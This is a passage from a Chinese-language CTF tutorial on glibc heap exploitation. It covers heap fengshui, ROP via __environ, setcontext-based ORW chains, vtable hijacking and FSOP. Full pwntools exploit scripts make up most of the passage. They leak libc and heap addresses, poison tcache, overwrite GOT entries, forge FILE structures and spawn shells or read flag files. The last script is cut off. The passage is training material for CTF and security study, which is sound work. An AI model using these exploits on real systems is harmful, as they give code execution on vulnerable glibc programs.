edit(1, 0x8, p64(e.plt['puts']))
free(3)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
log.success('libc base: ' + hex(libc_base))
edit(2, 0x28, p64(0) * 2 + p64(e.got['free']) + p64(0x602138) + p64(libc_base + libc.search(b'/bin/sh\x00').__next__()))
edit(1, 0x8, p64(libc_base + libc.sym['system']))
free(3)
p.interactive()
if __name__ == '__main__':
exp()七、堆风水(Heap Fengshui)
所谓堆风水也叫作堆排布,其实说严格了并不是一种漏洞的利用方法,而是一种灵活布置堆块来控制堆布局的方法,在一些一些其他漏洞的利用中起到效果
堆风水一词源于中国道教的“风水”一词,这个词无法很好地被翻译为英文故直接取其拼音
Pwn 手人人都是风水大师(误)
例题:babyfengshui_33c3_2016 - heap arrangement + got table hijack
惯例的 checksec,开了 NX 和 canary
拖入 IDA 进行分析
我们不难看出分配堆块时所生成的大致结构应当如下,且该结构体 malloc 的大小为 0x80,处在 unsorted bin 范围内
漏洞点在于对输入长度的检测,它是检测的是我们所输入的长度是否大于从 description chunk 的 addr 到 struct chunk 的 prev_size 的长度
在常规情况下我们似乎只能够覆写掉 PREV_SIZE 的一部分,不痛不痒
但是考虑这样的一种情况:我们先分配两个大块(chunk4,其中第一个块的 size 要在 unsorted 范围内),之后释放掉第一个大块,再分配一个 size 更大的块,unsorted bin 内就会从这个大 chunk(由两个 chunk 合并而来)中切割一个大 chunk 给到 description,之后再从下方的 top chunk 切割 0x90 来给到 struct,这个时候*由于对 length 的错误判定就会导致我们有机会覆写第二个大块中的内容
故考虑先覆写第二个大块中的 description addr 为 free@got 后泄漏出 libc 的基址,后再修改 free@got 为 system 函数地址后释放一个内容为”/bin/sh”的 chunk 即可通过 system(“/bin/sh”) 来 get shell
构造 exp 如下:
from pwn import *
p = process('./babyfengshui_33c3_2016') # remote('node3.buuoj.cn',26486)
e = ELF('./babyfengshui_33c3_2016')
libc = ELF('./libc-2.23.so')
def cmd(command:int):
p.recvuntil(b"Action: ")
p.sendline(str(command).encode())
def new(size:int, name, length:int, descryption):
cmd(0)
p.recvuntil(b"size of description: ")
p.sendline(str(size).encode())
p.recvuntil(b"name: ")
p.sendline(name)
p.recvuntil(b"text length: ")
p.sendline(str(length).encode())
p.recvuntil(b"text: ")
p.sendline(descryption)
def free(index:int):
cmd(1)
p.recvuntil(b"index: ")
p.sendline(str(index).encode())
def show(index:int):
cmd(2)
p.recvuntil(b"index: ")
p.sendline(str(index).encode())
def edit(index:int, length:int, descryption):
cmd(3)
p.recvuntil(b"index: ")
p.sendline(str(index).encode())
p.recvuntil(b"text length: ")
p.sendline(str(length).encode())
p.recvuntil(b"text: ")
p.sendline(descryption)
def exp():
new(0x80, "arttnba3", 0x10, "arttnba3") # idx 0
new(0x10, "arttnba3", 0x10, "arttnba3") # idx 1
new(0x10, "arttnba3", 0x10, "/bin/sh\x00") # idx 2
free(0)
big_size = 0x80 + 8 + 0x80
padding_length = 0x80 + 8 + 0x80 + 8 + 0x10 + 8
new(big_size, "arttnba3", padding_length + 4, b'A' * padding_length + p32(e.got['free'])) # idx 3
show(1)
p.recvuntil(b"description: ")
free_addr = u32(p.recv(4))
libc_base = free_addr - libc.sym['free']
edit(1, 0x10, p32(libc_base + libc.sym['system']))
free(2)
p.interactive()
if __name__ == "__main__":
exp()八、ROP in heap exploit
在堆题的世界并非只能够通过劫持各种 hook 来达到控制程序执行流的效果,传统的在栈上构造 ROP 链的方式仍旧未过时,利用各种 pwn 技巧我们仍旧可以通过在栈上构造 ROP 链的方式控制程序执行流
__environ
__environ 是一个保存了栈上变量地址的系统变量,位于 libc 中,利用 gdb 调试我们可以很方便地得知其与栈上地址间的偏移,以此在栈上构造 ROP 链劫持程序执行流
例题:miniLCTF2020 - heap_master - tcache double free(use after free) + orw
点击下载-pwn
惯例的 checksec,发现除了地址随机化以外都开上了
拖入 IDA 进行分析
程序本身有着分配堆块、释放堆块、输出堆块内容的功能
我们发现在 delete()函数中 free()后并没有将相应堆块指针置 0,存在 UAF
题目提示 libc 可能是 2.23 也可能是 2.27,尝试直接进行 double free,发现程序没有崩溃,故可知是没有 double free 检查的 2.27 的 tcache
libc2.29 后 tcache 加入 double free 检查
在 main()函数开头的 init()函数中调用了 prctl()函数,限制了我们不能够 getshell
首先我们想到,我们可以先填满 tcache,之后分配一个 unsorted bin 范围的 chunk,通过打印该 chunk 的内容获取 main_arena + 0x60 的地址,进而获得 libc 的地址
虽然我们不能够 getshell,但是依然可以通过 double free 进行任意地址写,毕竟 CTF 题目的要求是得到 flag,不一定要得到 shell,故考虑通过 environ 变量泄漏出栈地址后在栈上构造 rop 链进行 orw 读出 flag
通过动态调试我们容易得到___environ 与 new()中的返回地址间距离为 0x220,将 rop 链写到这个返回地址上即可接收到 flag
构造 payload 如下:
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = process('./pwn') # p = remote('pwn.challenge.lctf.online',10042)
e = ELF('./pwn')
libc = ELF('./libc-2.27.so')
note_addr = 0x6020c0
flag_addr = e.bss() + 0x500
def new(size:int, content):
p.recvuntil(b'>> ')
p.sendline(b'1')
p.recvuntil(b'size?')
p.sendline(str(size).encode())
p.recvuntil(b'content?')
p.send(content)
def delete(index:int):
p.recvuntil(b'>> ')
p.sendline(b'2')
p.recvuntil(b'index ?')
p.sendline(str(index).encode())
def dump(index:int):
p.recvuntil(b'>> ')
p.sendline(b'3')
p.recvuntil(b'index ?')
p.sendline(str(index).encode())
def exp():
p.recvuntil(b'what is your name? ')
p.sendline(b'arttnba3')
new(0x80, 'arttnba3') # idx 0
new(0x80, 'arttnba3') # idx 1
new(0x60, 'arttnba3') # idx 2
new(0xb0, 'arttnba3') # idx 3
# fill the tcache
for i in range(7):
delete(0)
# unsorted bin leak libc addr
delete(1)
dump(1)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook'] # 0x3cbc30
environ = libc_base + libc.sym['__environ'] # 0x3ee098
pop_rdi_ret = libc_base + libc.search(asm('pop rdi\nret')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi\nret')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx\nret')).__next__()
# double free in tcache 2
delete(2)
delete(2)
# overwrite node[0]
new(0x60, p64(note_addr)) # idx 4, former 2
new(0x60, 'arttnba3') # idx 5, former 2
new(0x60, p64(environ))# idx 6, locate at the note[0] and overwrite it
# leak stack addr
dump(0)
stack_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
ret = stack_leak - 0x220
# rop chain
payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(4) + p64(e.plt['read']) # read str 'flag' from input
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])# open file 'flag'
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x30) + p64(e.plt['read'])# read flag from file ptr 3(opened by open())
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(e.plt['puts'])
# double free write rop chain on stack
delete(3)
delete(3)
new(0xb0, p64(ret))# idx 7, former 3
new(0xb0, 'arttnba3') # idx 8, former 3
new(0xb0, payload) # idx 9, locate on the stack
# get the flag
p.send('flag')
p.interactive()
if __name__ == '__main__':
exp()setcontext
setcontext 函数是 libc 中一个独特的函数,其中存在着一个可以让我们控制各寄存器的 gadget,如下图所示(来自 ScUpax0s - 字节跳动 ByteCTF2020 两道堆题 )
只要我们能够控制 rdi 寄存器,在特定的位置构造一个 ucontext_t 结构体 ,执行 setcontext + 61 位置上的 gadget,就能通过类似 SROP 的过程控制进程各寄存器的值,随后就是栈迁移 + ROP 一套带走
通常情况下选择在堆上构造 ucontext_t 结构体,劫持__free_hook 为以下 gadget:
这个 gadget 一般在这个函数里
例题:bytectf2020 - gun - Use After Free + fastbin double free + ORW
点击下载-gun
点击下载-libc-2.31.so
惯例的 checksec,保护全开(大比赛的堆题好像都是保护全开,已经没有 checksec 的必要了)
拖入 IDA 进行分析,IDA 分析出一坨 shit
符号表扣光,啥都看不出(悲)
seccomp 限制了一堆东西,琢磨着应该是拿不到 shell 了,应该还是只能走 orw 拿弗莱格
程序模拟了一把枪,能够射出、装载、购买子弹,其中子弹对应的就是 chunk,购买子弹对应 malloc
最多能够分配 14 个堆块,空间充足(x
在 buy()函数中限制了 chunk 的 size 为 0x10~0x500(似乎没什么用)
其中 qword_4070 存放的是子弹槽对应标志位,0 为该槽子弹已被射出(free),1 为该槽已被使用(存放有 chunk 指针),2 为该槽子弹已被装载(链入”弹匣“单向链表中)
综合起来我们不难看出其使用一个结构体来表示一个“子弹”
其中成员 name 储存的便是 chunk 指针
在 load()函数中会使用头插法构建”弹匣“(单向链表),其中会使用 chunk 的 bk 指针存储原链表中头结点
在 shoot()函数中会依次将”弹匣“链表上的”子弹”释放,随后会将该子弹的 flag 置 0,但是没有清空其 next_chunk 指针,存在 Use After Free 漏洞,对于子弹链表的不严格检测可以导致 double free
同时 shoot 函数还整合了打印堆块内容的功能,利用这个功能我们可以通过再分配后二次释放的方式通过 chunk 上残留指针泄露 libc 基址与堆基址
由于题目所给的 libc 版本为 2.31,添加了对 tcache key 的检测,无法直接在 tcache 内进行 double free,故考虑先填满 tcache 后在 fastbin 内 double free,后通过 stash 机制清空 tcache 使得 fastbin 内形如 A->B->A 的 chunk 倒入 tcache 中,实现任意地址写,这种做法不需要通过 fastbin 的 size 检查
同时由于程序本身限制了系统调用,我们只能通过 orw 读取 flag
考虑通过 setcontext()中的 gadget 进行控制寄存器,同时我们还需要控制 rdx 寄存器,考虑劫持__free_hook 后通过 libc 中如下 gadget 控制 rdx 后跳转至 setcontext 函数内部:
最后通过 setcontext 构建的 rop 链 orw 即可,使用 pwntools 中的 SigreturnFrame()可以快速构造 ucontext_t 结构体
构造 exp 如下:
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
p = process('./gun')
e = ELF('./gun')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
def cmd(command:int):
p.recvuntil(b"Action> ")
p.sendline(str(command).encode())
def shoot(times:int):
cmd(1)
p.recvuntil(b"Shoot time: ")
p.sendline(str(times).encode())
def load(index:int):
cmd(2)
p.recvuntil(b"Which one do you want to load?")
p.sendline(str(index).encode())
def buy(size:int, content):
cmd(3)
p.recvuntil(b"Bullet price: ")
p.sendline(str(size).encode())
p.recvuntil(b"Bullet Name: ")
p.sendline(content)
def exp():
p.sendline(b"arttnba3")
buy(0x10, b"arttnba3") # idx 0
buy(0x500, b"arttnba3") # idx 1
buy(0x10, b"arttnba3") # idx 2
# leak the libc addr
load(1)
shoot(1)
buy(0x20, b'') # idx 1
load(1)
shoot(1)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1168
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base: ' + hex(libc_base))
# leak the heap addr
buy(0x20, b'AAAAAAAAAAAAAAAA') # idx 1
load(1)
shoot(1)
p.recvuntil(b'AAAAAAAAAAAAAAAA')
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
log.info('heap addr leak: ' + hex(heap_leak))
heap_base = heap_leak & 0xfffffffff000
log.success('heap base: ' + hex(heap_base))
# construct the fake_frame on heap
fake_frame_addr = heap_base + 0x310 + 0x10
fake_frame = SigreturnFrame()
fake_frame['uc_stack.ss_size'] = libc_base + libc.sym['setcontext'] + 61
fake_frame.rdi = 0
fake_frame.rsi = libc_base + libc.sym['__free_hook']
fake_frame.rdx = 0x200
fake_frame.rsp = libc_base + libc.sym['__free_hook']
fake_frame.rip = libc_base + libc.sym['read']
load(0)
shoot(1)
buy(0x100, bytes(fake_frame))
# tcache poisoning with fastbin double free
for i in range(9):
buy(0x20, b'arttnba3')
load(9)
load(10)
shoot(2)
buy(0x20, b'arttnba3') # idx 9
buy(0x20, b'arttnba3') # idx 10
load(1)
for i in range(6):
load(3 + i)
shoot(7)
load(10)
load(9)
shoot(3) # double free in fastbin
for i in range(7):
buy(0x20, b'arttnba3') # clear the tcache
buy(0x20, p64(libc_base + libc.sym['__free_hook'])) # idx 9
buy(0x20, b'./flag\x00') # idx 10, which we use to store the flag
buy(0x20, b'arttnba3') # idx 11, overlapping chunk with idx 9
buy(0x20, p64(libc_base + 0x154930)) # idx12, our fake chunk on __free_hook
# construct the setcontext with gadget chain
flag_addr = heap_base + 0x570 + 0x10
payload = p64(0) + p64(fake_frame_addr)# rdi + 8 for the rdx, we set it to the addr of the fake frame
buy(0x100, payload) # idx 13
# construct the orw rop chain
pop_rdi_ret = libc_base + libc.search(asm('pop rdi ; ret')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi ; ret')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx ; ret')).__next__()
pop_rdx_pop_rbx_ret = libc_base + libc.search(asm('pop rdx ; pop rbx ; ret')).__next__()
orw = b''
orw += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])
orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x20) + p64(0) + p64(libc_base + libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x20) + p64(0) + p64(libc_base + libc.sym['write'])
# get the flag
load(13)
shoot(1)
p.sendline(orw)
p.interactive()
if __name__ == '__main__':
exp()九、IO_FILE exploit
对于 FILE 结构体的利用也是 CTF 中的大热门之一,通过修改 FILE 结构体或是劫持 vtable 表等方式可以令攻击者十分方便地控制程序执行流
对于 FILE 结构体的相关定义见 CTF WIKI
vtable hijack
对于每一个 FILE 结构体,其都有一个虚函数表,在通过 FILE 结构体实现各种输入输出功能时往往会调用其中的函数指针,那么我们不难想到,只要我们能够控制该虚函数表,就能通过 FILE 结构体相关的函数调用流程控制程序执行流
例题:[V&N2020 公开赛]easyTHeap - Use After Free + tcache hijact + tcache poisoning + one_gadget
惯例的 checksec,保护全开
拖入 IDA 进行分析
程序本身有着分配、编辑、打印、释放堆块的功能,算是功能比较齐全
但是程序本身限制了只能分配 7 次堆块,只能释放 3 次堆块
漏洞点在于 free 功能中没有将堆块指针置 NULL,存在 Use After Free 漏洞
虽然说在分配堆块的功能中并没有过于限制大小(0x100),但是题目所给的 libc 是有着 tcache 的 2.27 版本,需要通过 unsorted bin 泄露 main_arena 的地址我们至少需要释放 8 次堆块才能获得一个 unsorted chunk,而我们仅被允许释放 3 次堆块
但是利用 use after free 我们是可以泄露堆基址的,而用以管理 tcache 的 tcache_perthread_struct 结构体本身便是由一个 chunk 实现的
libc2.27 中没有对 tcache double free 的检查,故在这里我们可以通过 tcache double free 结合 use after free 泄漏出堆基址后伪造一个位于 tcache_perthread_struct 结构体附近的 fake chunk 以劫持 tcache_perthread_struct 结构体修改 tcache_perthread_struct->counts 中对应 index 的值为 7 后释放 chunk 便可以获得 unsorted bin 以泄露 libc 基址
惯例的 pwndbg 动态调试,我们可以得到 tcache 结构体的 size,也就得到了偏移
需要注意的是在 free 功能中会将其保存的 chunk size 置 0, 因而我们需要重新将这个 chunk 申请回来后才能继续编辑
这道题最经典的做法就是套板子,劫持__malloc_hook 为 one_gadget 以 get shell
但是除了劫持_malloc_hook 为 one_gadget 之外,我们也可以通过劫持_IO_2_1_stdout中的 vtable 表的方式调用 one_gadget
观察到程序中在我们 edit 之后会调用 puts()函数
puts()函数定义于 libio/ioputs.c 中,代码如下:
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)观察到其会使用宏_IO_sputn,该宏定义于 libio/libioP.c 中,如下:#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
套娃宏,跟进:
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
...
#define _IO_JUMPS_OFFSET 0
...
#if _IO_JUMPS_OFFSET
...
#else
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
...
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)即 puts 函数最终会调用 vtable 表中的__xsputn 函数指针,gdb 调试我们可以知道其相对表头偏移应当为 0x30(64 位下)
由于自 libc2.24 始增加了对 vtable 表的合法性检测,故我们只能执行位于合法 vtable 表范围内的函数指针
考虑到IO_str_finish 函数会将 FILE 指针 + 0xE8 的位置作为一个函数指针执行,故我们选择修改_IO_2_1_stdout的 vtable 表至特定位置以调用_IO_str_finish 函数
表_IO_str_jumps 中存在着我们想要利用的_IO_str_finish 函数的指针,且该表是一个合法 vtable 表,故只要我们将 stdout 的 vtable 表劫持到_IO_str_finish 附近即可成功调用_IO_str_finish 函数
由_IO_jump_t 结构体的结构我们不难计算出 fake vtable 的位置应当为_IO_str_jumps - 0x28
劫持 vtable 表后在IO_2_1_stdout + 0xE8 的位置放上 one_gadget,即可在程序调用 puts 函数时 get shell
通过 gdb 调试可以帮助我们更好地构造 fake IO_2_1_stdout结构体
需要注意的一点是有少部分符号无法直接通过 sym 字典获得,我们在这里采用其相对偏移以计算其真实地址,详见注释
故最后构造的 exp 如下:
from pwn import *
#context.log_level = 'DEBUG'
context.arch = 'amd64'
p = process('./vn_pwn_easyTHeap') # p = remote('node3.buuoj.cn',26233)
e = ELF('./vn_pwn_easyTHeap')
libc = ELF('./libc-2.27.so')
one_gadget = 0x4f322
def cmd(choice:int):
p.recvuntil(b"choice: ")
p.sendline(str(choice).encode())
def new(size:int):
cmd(1)
p.recvuntil(b"size?")
p.sendline(str(size).encode())
def edit(index:int, content):
cmd(2)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())
p.recvuntil(b"content:")
p.send(content)
def dump(index:int):
cmd(3)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())
def free(index:int):
cmd(4)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())
def exp():
# tcache double free
new(0x100) # idx0
new(0x100) # idx1
free(0)
free(0)
# leak the heap base
dump(0)
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
heap_base = heap_leak - 0x260
log.info('heap base leak: ' + str(hex(heap_base)))
# tcache poisoning, hijack the tcache struct
new(0x100) # idx2
edit(2, p64(heap_base + 0x10))
new(0x100) # idx3
new(0x100) # idx4, our fake chunk
edit(4, b"\x07".rjust(0x10, b"\x07")) # all full
# leak the libc base
free(0)
dump(0)
main_arena = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00")) - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info('libc base leak: ' + str(hex(libc_base)))
# construct the fake file structure
fake_file = b""
fake_file += p64(0xFBAD2886) # _flags, an magic word, we need to (0xFBAD2887 & (~0x1)) to clear the _IO_USER_BUF flag to pass the check in _IO_str_finish
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 131) * 7 # from _IO_read_ptr to _IO_buf_base
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 132) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdin_']) # the FILE chain ptr
fake_file += p32(1) # _fileno for stdout is 1
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x1e20) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] - 0xe20) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8,b'\x00') # adjust to vtable
fake_file += p64(libc_base + libc.sym['_IO_file_jumps'] + 0xc0 - 0x28) + p64(0) + p64(libc_base + one_gadget) # set the vtable to _IO_str_jumps - 0x28 and set the _IO_2_1_stdout_ + 0xe8 to one_gadget
# tcache poisoning, hijack the _IO_2_1_stdout and its vtable
edit(4, b"\x10".rjust(0x10, b"\x00") + p64(0) * 21 + p64(libc_base + libc.sym['_IO_2_1_stdout_']))
new(0x100) # idx5, our fake chunk
edit(5, fake_file)
# get the shell
p.interactive()
if __name__ == '__main__':
exp()_IO_FILE_plus 结构体中 vtable 相对偏移
在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8
ctf-wiki: FILE structure
vtable 合法性检测(start from glibc2.24)
自从 glibc2.24 版本起便增加了对于 vtable 的检测,代码如下:
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}gdb 调试可知这个 section_length 的长度为 3432(0xd68):
由此,我们所构造的 fake vtable 的位置受到了一定的限制,即只能在**start_**libc_IO_vtables 往后 0xd68 字节的范围内
vtable 表劫持姿势(under glibc2.28)
在 glibc2.28 往前的版本中IO_str_finish 函数会将_IO_2_1_stdout + 0xE8 的位置作为一个函数指针执行,故我们通常考虑在这个位置放上我们想要执行的指令地址(如 one_gadget)并将 vtable 表劫持到适合的位置以执行_IO_str_finish()函数
通常情况下,我们考虑劫持IO_2_1_stdout并修改其 vtable 表至表_IO_str_jumps 附近,该 vtable 表定义于 libio/sstrops.c 中,如下:
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};不难看出,在该表中有我们所需的_IO_str_finish 函数,且该表本身便是 vtable 表列表中的一个表,能很好地通过 vtable 表合法性检测,因此我们劫持 stdout 时便尝将 fake vtable 劫持到该表附近
需要注意的一点是我们需要修改_IO_2_1_stdout 的 flag 的最后一位为 0 以通过_IO_str_finish 函数中的检测:
/*
* libio/strops.c
*/
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
/*
* libio.h
*/
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */64 位下其会将 fp + 0d8 + 0x10 的位置作为函数指针进行调用
需要注意的是这种利用方式仅适用于 glibc2.28 以下的版本,自 glibc2.28 始该段代码被修改,无法再通过同种方式进行利用
自 glibc2.28 始,该函数不会调用额外的函数指针,而是会直接使用 free(),代码如下:
类似地,对于_IO_str_overflow 的利用自 glibc2.28 始同样失效,源码比较长就不在这里贴出了
参考:ctf-wiki: exploit in libc2.24
FSOP
FSOP 即 File Stream Oriented Programme——文件流导向编程,即基于 glibc 中文件流相关的一种劫持手法,其核心思想便是通过劫持文件流的相关流程以达到控制程序执行流的目的,通常是 _IO_flush_all_lockp() 的相关流程
_IO_list_all 链表
在 glibc 中使用 _IO_FILE 结构描述一个文件, 进程中的 _IO_FILE 结构会通过其 _chain 成员彼此连接形成一个链表,在全局变量 _IO_list_all 中储存着指向该链表头节点的指针,通过这个值我们可以遍历所有的 FILE 结构
在 _IO_FILE 结构上其实还有一层套娃结构叫 _IO_FILE_plus ,其中新增一个 vtable 指针指向该文件流会用到的虚函数表
通常情况下进程创建时会自动打开三个文件,其链接顺序为:stderr->stdout->stdin,即在 IO_list_all 中储存着的是指向 _IO_2_1_stderr 的指针
_IO_flush_all_lockp()
常见的 FSOP 手法主要是通过 _IO_flush_all_lockp() 进行利用,这个函数在以下情况会被调用:
通过 libc 相关机制触发 abort
通过 exit() 执行流程
由 main 函数返回至 __libc_start_main() 后执行 exit()
该函数定义于 libio/genops.c 中,会刷新_IO_list_all 链表中所有项的文件流 ,我们主要关注其中的如下代码:
int
_IO_flush_all_lockp (int do_lock)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...由此可知其最终会调用 vtable 表中的__overflow 函数,且第一个参数为指向 FILE 自身的指针
例题:ciscn_2019_n_7 - exit_hook hijact + one_gadget | FSOP
惯例的 checksec,保 护 全 开(噔 噔 咚
拖入 IDA 进行分析,可知该程序有着分配、编辑、打印堆块的功能
但是我们仅能够分配一个堆块,且无法释放堆块
漏洞点在于创建/编辑堆块时输入作者姓名时存在溢出,可以覆写掉与其相邻的堆块指针,在接下来的编辑中我们便可以实现任意地址写
同时,输入 666 则可直接泄露 libc 地址
由于 glibc2.23 中未加入对 vtable 表的合法性检测,故我们可以考虑直接劫持 IO_2_1_stderr 及其 vtable 表执行 system(“/bin/sh”)以 get shell(stderr 为 FILE 链表的头结点),其中由于 __overflow() 函数会将指向 FILE 的指针作为其第一个参数,故考虑将 “/bin/sh” 字符串构造于 fake file 的开头
构造 exp 如下:
from pwn import *
#context.log_level = 'DEBUG'
p = process('./ciscn_2019_n_7')#remote('node3.buuoj.cn', 26348)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')#ELF('./libc-2.23.so')
one_gadget = 0xf1147
p.recv()
p.sendline(b'666')
puts_addr = int((p.recvuntil(b'\n', drop = True)), 16)
libc_base = puts_addr - libc.sym['puts']
log.info('libc leak: ' + str(hex(libc_base)))
p.recvuntil(b"Your choice-> ")
p.sendline(b'1')
p.recvuntil(b"Input string Length: ")
p.sendline(str(0x100).encode())
p.recvuntil(b"Author name:")
p.send(b'arttnba3' + p64(libc_base + libc.sym['_IO_2_1_stderr_']))
fake_file = b""
fake_file += b"/bin/sh\x00" # _flags, an magic number
fake_file += p64(0) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0)# _IO_read_base
fake_file += p64(0)# _IO_write_base
fake_file += p64(libc_base + libc.sym['system'])# _IO_write_ptr
fake_file += p64(0)# _IO_write_end
fake_file += p64(0)# _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8,b'\x00') # adjust to vtable
fake_file += p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x10) # fake vtable
p.recvuntil(b"Your choice-> ")
p.sendline(b'2')
